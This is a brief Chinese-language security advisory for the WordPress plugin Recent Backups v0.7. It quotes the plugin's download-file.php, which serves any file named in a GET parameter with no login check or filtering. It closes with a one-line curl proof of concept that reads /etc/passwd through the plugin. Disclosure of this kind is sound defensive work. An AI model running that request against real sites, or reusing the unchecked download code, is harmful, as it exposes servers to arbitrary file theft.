Recent Backups – v0.7,有漏洞可让别人随意下载文件
Category : WP安全防范
当前状态,该 插件已在官网下架,不能安装使用。
发现日期:2015-07-13
WP官网下载网址:https://wordpress.org/plugins/recent-backups
软件发行商:https://profiles.wordpress.org/andycheeseman/
漏洞:
download-file.php中的代码没有任何必要的安全检查,没有验证用户是否登录,也没有过滤掉不可下载的文件。此漏洞能被利用来下载敏感的系统密码文件:
2 $file = $_GET['file_link'];
3
4 if (file_exists($file)) {
5 header('Content-Description: File Transfer');
6 header('Content-Type: application/octet-stream');
7 header('Content-Disposition: attachment; filename='.basename($file));
8 header('Content-Transfer-Encoding: binary');
9 header('Expires: 0');
10 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
11 header('Pragma: public');
12 header('Content-Length: ' . filesize($file));
13 ob_clean();
14 flush();
15 readfile($file);
漏洞验证
$ curl -v "http://server/wp-content/plugins/recent-backups/download-file.php?file_link=/etc/passwd